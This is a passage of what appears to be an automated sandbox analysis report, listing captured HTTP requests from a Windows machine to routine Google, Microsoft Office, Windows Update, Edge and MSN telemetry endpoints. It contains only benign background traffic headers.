Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hgEsNErkf+gU6xl&MD=8taZkm3L HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732265737&P2=404&P3=2&P4=MpO7Cz8pOevKL%2bSKxRGymz3kfsXnAwUdIg0RaVi2jCghTk5x2bGzau7gIiw7L4kadPOcArLEIChr34nAuXRMXQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: KSrejCKEJjblerDkYMdLN7Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731660940825&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3206BAE9F57467FF075BAFD1F4D566D3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731660940824&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2fd421e6d33b4b73a02a9b59698593f1&activityId=2fd421e6d33b4b73a02a9b59698593f1&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; 